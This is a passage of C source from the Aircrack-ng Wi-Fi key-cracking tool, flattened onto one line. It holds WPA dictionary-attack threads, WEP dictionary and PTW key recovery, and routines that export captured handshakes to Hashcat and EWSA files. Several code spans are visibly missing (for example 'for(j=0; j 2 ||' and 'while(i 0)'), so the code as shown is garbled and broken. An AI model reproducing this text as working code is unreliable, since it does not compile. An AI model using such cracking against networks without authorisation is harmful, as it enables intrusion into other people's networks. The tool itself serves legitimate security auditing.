{ printf( "KEY FOUND! [ %s ]\n", values[1] ); return 1; } show_wpa_stats( values[1], strlen(values[1]), (unsigned char*)(values[0]), ptk, mic, 1 ); if( opt.l33t ) printf( "\33[31;1m" ); printf( "\33[8;%dH\33[2KKEY FOUND! [ %s ]\33[11B\n", ( 80 - 15 - (int) strlen(values[1])) / 2, values[1] ); if( opt.l33t ) printf( "\33[32;22m" ); // abort the query return 1; } pthread_mutex_lock(&mx_nb); nb_tried++; nb_kprev++; pthread_mutex_unlock(&mx_nb); if( ! opt.is_quiet ) show_wpa_stats( values[1], strlen(values[1]), (unsigned char*)(values[0]), ptk, mic, 0 ); return 0; } #endif int do_make_wkp(struct AP_info *ap_cur) { size_t elt_written; unsigned i = 0; while( ap_cur != NULL ) { if( ap_cur->target && ap_cur->wpa.state == 7 ) break; ap_cur = ap_cur->next; } if( ap_cur == NULL ) { printf( "No valid WPA handshakes found.\n" ); return( 0 ); } if( memcmp( ap_cur->essid, ZERO, 32 ) == 0 && ! opt.essid_set ) { printf( "An ESSID is required. Try option -e.\n" ); return( 0 ); } if( opt.essid_set && ap_cur->essid[0] == '\0' ) { memset( ap_cur->essid, 0, sizeof( ap_cur->essid ) ); strncpy( ap_cur->essid, opt.essid, sizeof( ap_cur->essid ) - 1 ); } printf("\n\nBuilding WKP (3.02) file...\n\n"); printf("[*] ESSID (length: %d): %s\n", (int)strlen(ap_cur->essid), ap_cur->essid); printf("[*] Key version: %d\n", ap_cur->wpa.keyver); printf("[*] BSSID: %02X:%02X:%02X:%02X:%02X:%02X\n", ap_cur->bssid[0], ap_cur->bssid[1], ap_cur->bssid[2], ap_cur->bssid[3], ap_cur->bssid[4], ap_cur->bssid[5] ); printf("[*] STA: %02X:%02X:%02X:%02X:%02X:%02X", ap_cur->wpa.stmac[0], ap_cur->wpa.stmac[1], ap_cur->wpa.stmac[2], ap_cur->wpa.stmac[3], ap_cur->wpa.stmac[4], ap_cur->wpa.stmac[5] ); printf("\n[*] anonce:"); for(i = 0; i < 32; i++) { if(i % 16 == 0) printf("\n "); printf("%02X ", ap_cur->wpa.anonce[i]); } printf("\n[*] snonce:"); for(i = 0; i < 32; i++) { if(i % 16 == 0) printf("\n "); printf("%02X ", ap_cur->wpa.snonce[i]); } printf("\n[*] Key MIC:\n "); for(i = 0; i < 16; i++) { printf(" %02X", ap_cur->wpa.keymic[i]); } printf("\n[*] eapol:"); for( i = 0; i < ap_cur->wpa.eapol_size; i++) { if( i % 16 == 0 ) printf("\n "); printf("%02X ",ap_cur->wpa.eapol[i]); } printf("\n"); // write file FILE * fp_wkp; char frametmp[WKP_FRAME_LENGTH]; char *ptmp; memcpy(frametmp, wkp_frame,WKP_FRAME_LENGTH * sizeof(char)); // Make sure the filename contains the extension if (( strstr(opt.wkp, ".wkp") == NULL || strlen(strstr(opt.wkp, ".wkp")) != 4 ) && ( strstr(opt.wkp, ".WKP") == NULL || strlen(strstr(opt.wkp, ".WKP")) != 4) ) { strcat(opt.wkp, ".wkp"); } fp_wkp = fopen( opt.wkp,"w" ); if (fp_wkp == NULL) { printf("\nFailed to create EWSA project file\n"); return 0; } // ESSID memcpy(&frametmp[0x4c0], ap_cur->essid, sizeof(ap_cur->essid)); // BSSID ptmp = (char *)ap_cur->bssid; memcpy(&frametmp[0x514], ptmp, 6); // Station Mac ptmp = (char *)ap_cur->wpa.stmac; memcpy(&frametmp[0x51a], ptmp, 6); // ESSID memcpy(&frametmp[0x520], ap_cur->essid, sizeof(ap_cur->essid)); // ESSID length frametmp[0x540] = strlen(ap_cur->essid); // WPA Key version frametmp[0x544] = ap_cur->wpa.keyver; // Size of EAPOL frametmp[0x548] = ap_cur->wpa.eapol_size; // anonce ptmp = (char *)ap_cur->wpa.anonce; memcpy(&frametmp[0x54c], ptmp, 32); // snonce ptmp = (char *)ap_cur->wpa.snonce; memcpy(&frametmp[0x56c], ptmp, 32); // EAPOL ptmp = (char *)ap_cur->wpa.eapol; memcpy(&frametmp[0x58c], ptmp, ap_cur->wpa.eapol_size); // Key MIC ptmp = (char *)ap_cur->wpa.keymic; memcpy(&frametmp[0x68c], ptmp, 16); elt_written = fwrite(frametmp, 1, WKP_FRAME_LENGTH, fp_wkp); fclose(fp_wkp); if ((int)elt_written == WKP_FRAME_LENGTH) { printf("\nSuccessfully written to %s\n", opt.wkp); } else { printf("\nFailed to write to %s\n !", opt.wkp); } return( 1 ); } int do_make_hccap(struct AP_info *ap_cur) { size_t elt_written; unsigned i = 0; while( ap_cur != NULL ) { if( ap_cur->target && ap_cur->wpa.state == 7 ) break; ap_cur = ap_cur->next; } if( ap_cur == NULL ) { printf( "No valid WPA handshakes found.\n" ); return( 0 ); } if( memcmp( ap_cur->essid, ZERO, 32 ) == 0 && ! opt.essid_set ) { printf( "An ESSID is required. Try option -e.\n" ); return( 0 ); } if( opt.essid_set && ap_cur->essid[0] == '\0' ) { memset( ap_cur->essid, 0, sizeof( ap_cur->essid ) ); strncpy( ap_cur->essid, opt.essid, sizeof( ap_cur->essid ) - 1 ); } printf("\n\nBuilding Hashcat (1.00) file...\n\n"); printf("[*] ESSID (length: %d): %s\n", (int)strlen(ap_cur->essid), ap_cur->essid); printf("[*] Key version: %d\n", ap_cur->wpa.keyver); printf("[*] BSSID: %02X:%02X:%02X:%02X:%02X:%02X\n", ap_cur->bssid[0], ap_cur->bssid[1], ap_cur->bssid[2], ap_cur->bssid[3], ap_cur->bssid[4], ap_cur->bssid[5] ); printf("[*] STA: %02X:%02X:%02X:%02X:%02X:%02X", ap_cur->wpa.stmac[0], ap_cur->wpa.stmac[1], ap_cur->wpa.stmac[2], ap_cur->wpa.stmac[3], ap_cur->wpa.stmac[4], ap_cur->wpa.stmac[5] ); printf("\n[*] anonce:"); for(i = 0; i < 32; i++) { if(i % 16 == 0) printf("\n "); printf("%02X ", ap_cur->wpa.anonce[i]); } printf("\n[*] snonce:"); for(i = 0; i < 32; i++) { if(i % 16 == 0) printf("\n "); printf("%02X ", ap_cur->wpa.snonce[i]); } printf("\n[*] Key MIC:\n "); for(i = 0; i < 16; i++) { printf(" %02X", ap_cur->wpa.keymic[i]); } printf("\n[*] eapol:"); for( i = 0; i < ap_cur->wpa.eapol_size; i++) { if( i % 16 == 0 ) printf("\n "); printf("%02X ",ap_cur->wpa.eapol[i]); } printf("\n"); // write file FILE * fp_hccap; strcat(opt.hccap, ".hccap"); fp_hccap = fopen( opt.hccap,"wb" ); if (fp_hccap == NULL) { printf("\nFailed to create Hashcat capture file\n"); return 0; } typedef struct { char essid[36]; unsigned char mac1[6]; unsigned char mac2[6]; unsigned char nonce1[32]; unsigned char nonce2[32]; unsigned char eapol[256]; int eapol_size; int keyver; unsigned char keymic[16]; } hccap_t; hccap_t hccap; memset (&hccap, 0, sizeof (hccap)); memcpy (&hccap.essid, &ap_cur->essid, sizeof (ap_cur->essid)); memcpy (&hccap.mac1, &ap_cur->bssid, sizeof (ap_cur->bssid)); memcpy (&hccap.mac2, &ap_cur->wpa.stmac, sizeof (ap_cur->wpa.stmac)); memcpy (&hccap.nonce1, &ap_cur->wpa.snonce, sizeof (ap_cur->wpa.snonce)); memcpy (&hccap.nonce2, &ap_cur->wpa.anonce, sizeof (ap_cur->wpa.anonce)); memcpy (&hccap.eapol, &ap_cur->wpa.eapol, sizeof (ap_cur->wpa.eapol)); memcpy (&hccap.eapol_size, &ap_cur->wpa.eapol_size, sizeof (ap_cur->wpa.eapol_size)); memcpy (&hccap.keyver, &ap_cur->wpa.keyver, sizeof (ap_cur->wpa.keyver)); memcpy (&hccap.keymic, &ap_cur->wpa.keymic, sizeof (ap_cur->wpa.keymic)); elt_written = fwrite(&hccap, sizeof (hccap_t), 1, fp_hccap); fclose(fp_hccap); if ((int)elt_written == 1) { printf("\nSuccessfully written to %s\n", opt.hccap); } else { printf("\nFailed to write to %s\n !", opt.hccap); } return( 1 ); } int do_wpa_crack() { int i, j, cid, num_cpus, res; char key1[128]; i = 0; res = 0; opt.amode = 2; num_cpus = opt.nbcpu; if( ! opt.is_quiet && !_speed_test) { if( opt.l33t ) printf( "\33[37;40m" ); printf( "\33[2J" ); if( opt.l33t ) printf( "\33[34;1m" ); printf("\33[2;34H%s",progname); } cid = 0; while( num_cpus > 0 ) { /* read a couple of keys (skip those < 8 chars) */ pthread_mutex_lock( &mx_dic ); if(opt.dict == NULL) { pthread_mutex_unlock( &mx_dic ); return( FAILURE ); } else pthread_mutex_unlock( &mx_dic ); do { memset(key1, 0, sizeof(key1)); if (_speed_test) strcpy(key1, "sorbosorbo"); else { pthread_mutex_lock( &mx_dic ); if (fgets(key1, sizeof(key1), opt.dict) == NULL) { pthread_mutex_unlock( &mx_dic ); if( opt.l33t ) printf( "\33[32;22m" ); /* printf( "\nPassphrase not in dictionary %s \n", opt.dicts[opt.nbdict] );*/ if(next_dict(opt.nbdict+1) != 0) { /* no more words, but we still have to wait for the cracking threads */ num_cpus = cid; //goto collect_and_test; return( FAILURE ); } else continue; } else pthread_mutex_unlock( &mx_dic ); } i = strlen( key1 ); if( i < 8 ) continue; if( i > 64 ) i = 64; while(i>0 && (key1[i-1]=='\r' || key1[i-1]=='\n')) i--; if (i<=0) continue; key1[i] = '\0'; for(j=0; j 2 || strlen(hex) == 0) { rtn = 1; break; } if(sscanf(hex, "%x", &dec) == 0 ) { rtn = 1; break; } (*key)[i] = dec; hex = strsep(&tmp, ":"); i++; } if(rtn) { continue; } } else { pthread_mutex_lock( &mx_dic ); if( fgets( *key, keysize, opt.dict ) == NULL ) { pthread_mutex_unlock( &mx_dic ); if( opt.l33t ) printf( "\33[32;22m" ); // printf( "\nPassphrase not in dictionary \"%s\" \n", opt.dicts[opt.nbdict] ); if(next_dict(opt.nbdict+1) != 0) { free(tmpref); tmp = NULL; return( FAILURE ); } else continue; } else pthread_mutex_unlock( &mx_dic ); i=strlen(*key); if( i <= 2 ) continue; if( (*key)[i - 1] == '\n' ) (*key)[--i] = '\0'; if( (*key)[i - 1] == '\r' ) (*key)[--i] = '\0'; if( i <= 0 ) continue; } break; } free(tmpref); return( SUCCESS ); } int set_dicts(char* optargs) { int len; char *optarg; opt.dictfinish = opt.totaldicts = opt.nbdict = 0; while ((opt.nbdict < MAX_DICTS) && (optarg = strsep(&optargs, ",")) != NULL) { if (!strncasecmp(optarg, "h:", 2)) { optarg += 2; opt.hexdict[opt.nbdict] = 1; } else { opt.hexdict[opt.nbdict] = 0; } if (!(opt.dicts[opt.nbdict] = strdup(optarg))) { perror("Failed to allocate memory for dictionary"); return( FAILURE ); } opt.nbdict++; opt.totaldicts++; } for (len = opt.nbdict; len < MAX_DICTS; len++) opt.dicts[len] = NULL; next_dict(0); while(next_dict(opt.nbdict+1) == 0) {} next_dict(0); return 0; } /* Uses the specified dictionary to crack the WEP key. Return: SUCCESS if it cracked the key, FAILURE if it could not. */ int crack_wep_dict() { struct timeval t_last; struct timeval t_now; int i, origlen, keysize; char *key; keysize = opt.keylen+1; update_ivbuf(); if(wep.nb_ivs < TEST_MIN_IVS) { printf( "\n%ld IVs is below the minimum required for a dictionary attack (%d IVs min.)!\n", wep.nb_ivs, TEST_MIN_IVS); return( FAILURE ); } key = (char*) malloc(sizeof(char) * (opt.keylen + 1)); if (key == NULL) return( FAILURE ); gettimeofday( &t_last, NULL ); t_last.tv_sec--; while(1) { if( next_key( &key, keysize ) != SUCCESS) { free(key); return( FAILURE ); } i = strlen( key ); origlen = i; while(i 0) { show_wep_stats(opt.keylen - 1, 1, NULL, NULL, NULL, 0); gettimeofday( &t_last, NULL); } } for(i=0; i<=opt.keylen; i++) { wep.key[i] = (unsigned char)key[i]; } if(check_wep_key(wep.key, opt.keylen, 0) == SUCCESS) { free(key); return( SUCCESS ); } } } /* Uses the PTW attack to crack the WEP key. Return: SUCCESS if it cracked the key, FAILURE if it could not. */ static int crack_wep_ptw(struct AP_info *ap_cur) { int (* all)[256]; int i, j, len = 0; opt.ap = ap_cur; all = malloc(32*sizeof(int [256])); if (all == NULL) { return FAILURE; } //initial setup (complete keyspace) for (i = 0; i < 32; i++) { for (j = 0; j < 256; j++) { all[i][j] = 1; } } //setting restricted keyspace for (i = 0; i < 32; i++) { for (j = 0; j < 256; j++) { if( (opt.is_alnum && (j<32 || j>=128) ) || (opt.is_fritz && (j<48 || j>=58)) || (opt.is_bcdonly && ( j > 0x99 || ( j & 0x0F ) > 0x09 )) ) all[i][j] = 0; } } //if debug is specified, force a specific value. for (i=0; i<32; i++) { for (j = 0; j < 256; j++) { if(opt.debug_row[i] == 1 && opt.debug[i] != j) all[i][j] = 0; else if(opt.debug_row[i] == 1 && opt.debug[i] == j) all[i][j] = 1; } } if(ap_cur->nb_ivs_clean > 99) { ap_cur->nb_ivs = ap_cur->nb_ivs_clean; //first try without bruteforcing, using only "clean" keystreams if(opt.keylen != 13) { if(PTW_computeKey(ap_cur->ptw_clean, wep.key, opt.keylen, (KEYLIMIT*opt.ffact), PTW_DEFAULTBF, all, opt.ptw_attack) == 1) len = opt.keylen; } else { /* try 1000 40bit keys first, to find the key "instantly" and you don't need to wait for 104bit to fail */ if(PTW_computeKey(ap_cur->ptw_clean, wep.key, 5, 1000, PTW_DEFAULTBF, all, opt.ptw_attack) == 1) len = 5; else if(PTW_computeKey(ap_cur->ptw_clean, wep.key, 13, (KEYLIMIT*opt.ffact), PTW_DEFAULTBF, all, opt.ptw_attack) == 1) len = 13; else if(PTW_computeKey(ap_cur->ptw_clean, wep.key, 5, (KEYLIMIT*opt.ffact)/3, PTW_DEFAULTBF, all, opt.ptw_attack) == 1) len = 5; } } if(!len) { ap_cur->nb_ivs = ap_cur->nb_ivs_vague; //in case its not found, try bruteforcing the id field and include "vague" keystreams PTW_DEFAULTBF[10]=1; PTW_DEFAULTBF[11]=1; // PTW_DEFAULTBF[12]=1; if(opt.keylen != 13) { if(PTW_computeKey(ap_cur->ptw_vague, wep.key, opt.keylen, (KEYLIMIT*opt.ffact), PTW_DEFAULTBF, all, opt.ptw_attack) == 1) len = opt.keylen; } else { /* try 1000 40bit keys first, to find the key "instantly" and you don't need to wait for 104bit to fail */ if(PTW_computeKey(ap_cur->ptw_vague, wep.key, 5, 1000, PTW_DEFAULTBF, all, opt.ptw_attack) == 1) len = 5; else if(PTW_computeKey(ap_cur->ptw_vague, wep.key, 13, (KEYLIMIT*opt.ffact), PTW_DEFAULTBF, all, opt.ptw_attack) == 1) len = 13; else if(PTW_computeKey(ap_cur->ptw_vague, wep.key, 5, (KEYLIMIT*opt.ffact)/10, PTW_DEFAULTBF, all, opt.ptw_attack) == 1) len = 5; } } if (!len) return FAILURE; opt.probability = 100; key_found(wep.key, len, -1); return SUCCESS; } int main( int argc, char *argv[] ) { int i, n, ret, option, j, ret1, nbMergeBSSID, unused; int cpu_count, showhelp, z, zz, forceptw; char *s, buf[128]; struct AP_info *ap_cur; int old=0; char essid[33]; #ifdef HAVE_SQLITE int rc; char *zErrMsg = 0; char looper[4] = {'|','/','-','\\'}; int looperc = 0; int waited = 0; char *sqlformat = "SELECT pmk.PMK, passwd.passwd FROM pmk INNER JOIN passwd ON passwd.passwd_id = pmk.passwd_id INNER JOIN essid ON essid.essid_id = pmk.essid_id WHERE essid.essid = '%q'"; char *sql; #endif #ifdef USE_GCRYPT // Register callback functions to ensure proper locking in the sensitive parts of libgcrypt < 1.6.0 #if GCRYPT_VERSION_NUMBER < 0x010600 gcry_control (GCRYCTL_SET_THREAD_CBS, &gcry_threads_pthread); #endif // Disable secure memory. gcry_control (GCRYCTL_DISABLE_SECMEM, 0); // Tell Libgcrypt that initialization has completed. gcry_control (GCRYCTL_INITIALIZATION_FINISHED, 0); #endif ret = FAILURE; showhelp = 0; // Start a new process group, we are perhaps going to call kill(0, ...) later setsid(); progname = getVersion("Aircrack-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC); memset( &opt, 0, sizeof( opt ) ); srand( time( NULL ) ); // Get number of CPU (return -1 if failed). cpu_count = get_nb_cpus(); opt.nbcpu = 1; if (cpu_count > 1) { opt.nbcpu = cpu_count; } j=0; /* check the arguments */ opt.nbdict = 0; opt.amode = 0; opt.do_brute = 1; opt.do_mt_brute = 1; opt.showASCII = 0; opt.probability = 51; opt.next_ptw_try= 0; opt.do_ptw = 1; opt.max_ivs = INT_MAX; opt.visual_inspection = 0; opt.firstbssid = NULL; opt.bssid_list_1st = NULL; opt.bssidmerge = NULL; opt.oneshot = 0; opt.logKeyToFile = NULL; opt.wkp = NULL; opt.hccap = NULL; opt.forced_amode = 0; /* all_ivs = malloc( (256*256*256) * sizeof(used_iv)); memset(all_ivs, 0, (256*256*256)*sizeof(used_iv)); */ forceptw = 0; while( 1 ) { int option_index = 0; static struct option long_options[] = { {"bssid", 1, 0, 'b'}, {"debug", 1, 0, 'd'}, {"combine", 0, 0, 'C'}, {"help", 0, 0, 'H'}, {"wep-decloak", 0, 0, 'D'}, {"ptw-debug", 1, 0, 'P'}, {"visual-inspection", 0, 0, 'V'}, {"oneshot", 0, 0, '1'}, {"cpu-detect", 0, 0, 'u'}, {0, 0, 0, 0 } }; option = getopt_long( argc, argv, "r:a:e:b:p:qcthd:l:E:J:m:n:i:f:k:x::Xysw:0HKC:M:DP:zV1Su", long_options, &option_index ); if( option < 0 ) break; switch( option ) { case 'S': _speed_test = 1; break; case ':' : printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); case '?' : printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); case 'u' : #if defined(__i386__) || defined(__x86_64__) cpuid_getinfo(); #else printf("Nb CPU detected: %d\n", cpu_count); #endif return( 0 ); case 'V' : if (forceptw) { printf("Visual inspection can only be used with KoreK\n"); printf("Use \"%s --help\" for help.\n", argv[0]); return FAILURE; } opt.visual_inspection = 1; opt.do_ptw = 0; break; case 'a' : ret1 = sscanf( optarg, "%d", &opt.amode ); if ( strcasecmp( optarg, "wep" ) == 0 ) opt.amode = 1; else if ( strcasecmp( optarg, "wpa" ) == 0 ) opt.amode = 2; if( ret1 !=1 || (opt.amode != 1 && opt.amode != 2) ) { printf( "Invalid attack mode. [1,2] or [wep,wpa]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( FAILURE ); } opt.forced_amode = 1; break; case 'e' : memset( opt.essid, 0, sizeof( opt.essid ) ); strncpy( opt.essid, optarg, sizeof( opt.essid ) - 1 ); opt.essid_set = 1; break; case 'b' : if (getmac(optarg, 1, opt.bssid) != 0) { printf( "Invalid BSSID (not a MAC).\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( FAILURE ); } opt.bssid_set = 1; break; case 'p' : if( sscanf( optarg, "%d", &opt.nbcpu ) != 1 || opt.nbcpu < 1 || opt.nbcpu > MAX_THREADS) { printf( "Invalid number of processes (recommended: %d)\n", cpu_count ); printf("\"%s --help\" for help.\n", argv[0]); return( FAILURE ); } break; case 'q' : opt.is_quiet = 1; break; case 'c' : opt.is_alnum = 1; break; case 'D' : opt.wep_decloak = 1; break; case 'h' : opt.is_fritz = 1; break; case 't' : opt.is_bcdonly = 1; break; case '1' : opt.oneshot = 1; break; case 'd' : i = 0 ; n = 0; s = optarg; while( s[i] != '\0' ) { if (s[i] == 'x') s[i] = 'X'; if (s[i] == 'y') s[i] = 'Y'; if ( s[i] == '-' || s[i] == ':' || s[i] == ' ') i++; else s[n++] = s[i++]; } s[n] = '\0' ; buf[0] = s[0]; buf[1] = s[1]; buf[2] = '\0'; i = 0; j = 0; while( ( sscanf( buf, "%x", &n ) == 1 ) || ( buf[0] == 'X' && buf[1] == 'X' ) || ( buf[0] == 'Y' && buf[1] == 'Y' )) { if ( buf[0] == 'X' && buf[1] == 'X' ) { opt.debug_row[i++] = 0 ; } else if ( buf[0] == 'Y' && buf[1] == 'Y' ) { opt.brutebytes[j++] = i++; } else { if ( n < 0 || n > 255 ) { printf( "Invalid debug key.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( FAILURE ); } opt.debug[i] = n ; opt.debug_row[i++] = 1; } if( i >= 64 ) break; s += 2; buf[0] = s[0]; buf[1] = s[1]; } opt.do_ptw = 0; break; case 'm' : if ( getmac(optarg, 1, opt.maddr) != 0) { printf( "Invalid MAC address filter.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( FAILURE ); } break; case 'n' : if( sscanf( optarg, "%d", &opt.keylen ) != 1 || ( opt.keylen != 64 && opt.keylen != 128 && opt.keylen != 152 && opt.keylen != 256 && opt.keylen != 512 ) ) { printf( "Invalid WEP key length. [64,128,152,256,512]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( FAILURE ); } opt.keylen = ( opt.keylen / 8 ) - 3; break; case 'i' : if( sscanf( optarg, "%d", &opt.index ) != 1 || opt.index < 1 || opt.index > 4 ) { printf( "Invalid WEP key index. [1-4]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( FAILURE ); } break; case 'f' : if( sscanf( optarg, "%f", &opt.ffact ) != 1 || opt.ffact < 1 ) { printf( "Invalid fudge factor. [>=1]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( FAILURE ); } break; case 'k' : if( sscanf( optarg, "%d", &opt.korek ) != 1 || opt.korek < 1 || opt.korek > N_ATTACKS ) { printf( "Invalid KoreK attack strategy. [1-%d]\n", N_ATTACKS ); printf("\"%s --help\" for help.\n", argv[0]); return( FAILURE ); } K_COEFF[(opt.korek) - 1] = 0; break; case 'l' : opt.logKeyToFile = (char *)calloc(1, strlen(optarg) + 1); if (opt.logKeyToFile == NULL) { printf("Error allocating memory\n"); return( FAILURE ); } strncpy(opt.logKeyToFile, optarg, strlen(optarg)); break; case 'E' : // Make sure there's enough space for file extension just in case it was forgotten opt.wkp = (char *)calloc(1, strlen(optarg) + 1 + 4); if (opt.wkp == NULL) { printf("Error allocating memory\n"); return( FAILURE ); } strncpy(opt.wkp, optarg, strlen(optarg)); break; case 'J' : // Make sure there's enough space for file extension just in case it was forgotten opt.hccap = (char *)calloc(1, strlen(optarg) + 1 + 6); if (opt.hccap == NULL) { printf("Error allocating memory\n"); return( FAILURE ); } strncpy(opt.hccap, optarg, strlen(optarg)); break; case 'M' : if( sscanf( optarg, "%d", &opt.max_ivs) != 1 || opt.max_ivs < 1) { printf( "Invalid number of max. ivs [>1]\n"); printf("\"%s --help\" for help.\n", argv[0]); return( FAILURE ); } K_COEFF[(opt.korek) - 1] = 0; break; case 'P' : if( sscanf( optarg, "%d", &opt.ptw_attack) != 1 || opt.ptw_attack < 0 || opt.ptw_attack > 2) { printf( "Invalid number for ptw debug [0-2]\n"); printf("\"%s --help\" for help.\n", argv[0]); return( FAILURE ); } break; case 'x' : opt.do_brute = 0; if (optarg) { if (sscanf(optarg, "%d", &opt.do_brute)!=1 || opt.do_brute<0 || opt.do_brute>4) { printf("Invalid option -x%s. [0-4]\n", optarg); printf("\"%s --help\" for help.\n", argv[0]); return FAILURE; } } break; case 'X' : opt.do_mt_brute = 0; break; case 'y' : opt.do_testy = 1; break; case 'K' : opt.do_ptw = 0; break; case 's' : opt.showASCII = 1; break; case 'w' : if(set_dicts(optarg) != 0) { printf("\"%s --help\" for help.\n", argv[0]); return FAILURE; } opt.do_ptw = 0; break; case 'r' : #ifdef HAVE_SQLITE if(sqlite3_open(optarg, &db)) { fprintf(stderr, "Database error: %s\n", sqlite3_errmsg(db)); sqlite3_close(db); return FAILURE; } #else fprintf(stderr, "Error: Aircrack-ng wasn't compiled with sqlite support\n"); return FAILURE; #endif break; case '0' : opt.l33t = 1; break; case 'H' : showhelp = 1; goto usage; break; case 'C' : nbMergeBSSID = checkbssids(optarg); if(nbMergeBSSID < 1) { printf("Invalid bssids (-C).\n\"%s --help\" for help.\n", argv[0]); return FAILURE; } // Useless to merge BSSID if only one element if (nbMergeBSSID == 1) printf("Merging BSSID disabled, only one BSSID specified\n"); else opt.bssidmerge = optarg; break; case 'z' : /* only for backwards compatibility - PTW used by default */ if (opt.visual_inspection) { printf("Visual inspection can only be used with KoreK\n"); printf("Use \"%s --help\" for help.\n", argv[0]); return FAILURE; } forceptw = 1; break; default : goto usage; } } if (_speed_test) { opt.amode = 2; opt.dict = stdin; opt.bssid_set = 1; ap_1st = ap_cur = malloc(sizeof(*ap_cur)); if (!ap_cur) err(1, "malloc()"); memset(ap_cur, 0, sizeof(*ap_cur)); ap_cur->target = 1; ap_cur->wpa.state = 7; strcpy(ap_cur->essid, "sorbo"); goto __start; } if( argc - optind < 1 ) { if(argc == 1) { usage: printf (usage, progname, ( cpu_count > 1 || cpu_count == -1) ? "\n -X : disable bruteforce multithreading\n" : "\n"); // If the user requested help, exit directly. if (showhelp == 1) exit(0); } // Missing parameters if( argc - optind == 0) { printf("No file to crack specified.\n"); } if(argc > 1) { printf("\"%s --help\" for help.\n", argv[0]); } return( ret ); } if( opt.amode == 2 && opt.dict == NULL ) { nodict: if (opt.wkp == NULL && opt.hccap == NULL) { printf( "Please specify a dictionary (option -w).\n" ); } else { if (opt.wkp) { ap_cur = ap_1st; ret = do_make_wkp(ap_cur); } if (opt.hccap) { ap_cur = ap_1st; ret = do_make_hccap(ap_cur); } } goto exit_main; } if( (! opt.essid_set && ! opt.bssid_set) && ( opt.is_quiet || opt.no_stdin ) ) { printf( "Please specify an ESSID or BSSID.\n" ); goto exit_main; } /* start one thread per input file */ signal( SIGINT, sighandler ); signal( SIGQUIT, sighandler ); signal( SIGTERM, sighandler ); signal( SIGALRM, SIG_IGN ); pthread_mutex_init( &mx_apl, NULL ); pthread_mutex_init( &mx_ivb, NULL ); pthread_mutex_init( &mx_eof, NULL ); pthread_mutex_init( &mx_dic, NULL ); pthread_cond_init( &cv_eof, NULL ); ap_1st = NULL; old = optind; n = argc - optind; id = 0; if( !opt.bssid_set ) { do { if( strcmp( argv[optind], "-" ) == 0 ) opt.no_stdin = 1; if( pthread_create( &(tid[id]), NULL, (void *) check_thread, (void *) argv[optind] ) != 0 ) { perror( "pthread_create failed" ); goto exit_main; } usleep( 131071 ); id++; if(id >= MAX_THREADS) { if(! opt.is_quiet) printf("Only using the first %d files, ignoring the rest.\n", MAX_THREADS); break; } } while( ++optind < argc ); /* wait until each thread reaches EOF */ if( ! opt.is_quiet ) { printf( "Reading packets, please wait...\r" ); fflush( stdout ); } // #ifndef DO_PGO_DUMP // signal( SIGINT, SIG_DFL ); /* we want sigint to stop and dump pgo data */ // #endif intr_read=1; for(i=0; iessid, 32); for(zz=0;zz<32;zz++) { if( (essid[zz] > 0 && essid[zz] < 32) || (essid[zz] > 126) ) essid[zz]='?'; } printf( "%4d %02X:%02X:%02X:%02X:%02X:%02X %-24s ", i, ap_cur->bssid[0], ap_cur->bssid[1], ap_cur->bssid[2], ap_cur->bssid[3], ap_cur->bssid[4], ap_cur->bssid[5], essid ); if( ap_cur->eapol ) printf( "EAPOL+" ); switch( ap_cur->crypt ) { case 0: printf( "None (%d.%d.%d.%d)\n", ap_cur->lanip[0], ap_cur->lanip[1], ap_cur->lanip[2], ap_cur->lanip[3] ); break; case 1: printf( "No data - WEP or WPA\n" ); break; case 2: printf( "WEP (%ld IVs)\n", ap_cur->nb_ivs ); break; case 3: printf( "WPA (%d handshake)\n", ap_cur->wpa.state == 7 ); break; default: printf( "Unknown\n" ); break; } i++; ap_cur = ap_cur->next; } printf( "\n" ); if( ap_1st->next != NULL ) { do { printf( "Index number of target network ? " ); fflush( stdout ); ret1 = 0; while(!ret1) ret1 = scanf( "%127s", buf ); if( ( z = atoi( buf ) ) < 1 ) continue; i = 1; ap_cur = ap_1st; while( ap_cur != NULL && i < z ) { i++; ap_cur = ap_cur->next; } } while( z < 0 || ap_cur == NULL ); } else { printf( "Choosing first network as target.\n" ); ap_cur = ap_1st; } printf( "\n" ); memcpy( opt.bssid, ap_cur->bssid, 6 ); opt.bssid_set = 1; /* Disable PTW if dictionary used in WEP */ if (ap_cur->crypt == 2 && opt.dict != NULL) { opt.do_ptw = 0; } } ap_1st = NULL; optind = old; id=0; } nb_eof=0; signal( SIGINT, sighandler ); do { if( strcmp( argv[optind], "-" ) == 0 ) opt.no_stdin = 1; if( pthread_create( &(tid[id]), NULL, (void *) read_thread, (void *) argv[optind] ) != 0 ) { perror( "pthread_create failed" ); goto exit_main; } id++; usleep( 131071 ); if(id >= MAX_THREADS) break; } while( ++optind < argc ); nb_pkt=0; /* wait until each thread reaches EOF */ intr_read=0; pthread_mutex_lock( &mx_eof ); if( ! opt.is_quiet ) { printf( "Reading packets, please wait...\r" ); fflush( stdout ); } while( nb_eof < n && ! intr_read ) pthread_cond_wait( &cv_eof, &mx_eof ); pthread_mutex_unlock( &mx_eof ); intr_read=1; // if( ! opt.is_quiet && ! opt.no_stdin ) // printf( "\33[KRead %ld packets.\n\n", nb_pkt ); // #ifndef DO_PGO_DUMP // signal( SIGINT, SIG_DFL ); /* we want sigint to stop and dump pgo data */ // #endif /* mark the targeted access point(s) */ ap_cur = ap_1st; while( ap_cur != NULL ) { if( memcmp( opt.maddr, BROADCAST, 6 ) == 0 || ( opt.bssid_set && ! memcmp( opt.bssid, ap_cur->bssid, 6 ) ) || ( opt.essid_set && ! strcmp( opt.essid, ap_cur->essid ) ) ) ap_cur->target = 1; ap_cur = ap_cur->next; } ap_cur = ap_1st; while( ap_cur != NULL ) { if( ap_cur->target ) break; ap_cur = ap_cur->next; } if( ap_cur == NULL ) { printf( "No matching network found - check your %s.\n", ( opt.essid_set ) ? "essid" : "bssid" ); goto exit_main; } if( ap_cur->crypt < 2 ) { switch( ap_cur->crypt ) { case 0: printf( "Target network doesn't seem encrypted.\n" ); break; default: printf( "Got no data packets from target network!\n" ); break; } goto exit_main; } /* create the cracker<->master communication pipes */ for( i = 0; i < opt.nbcpu; i++ ) { unused = pipe( mc_pipe[i] ); unused = pipe( 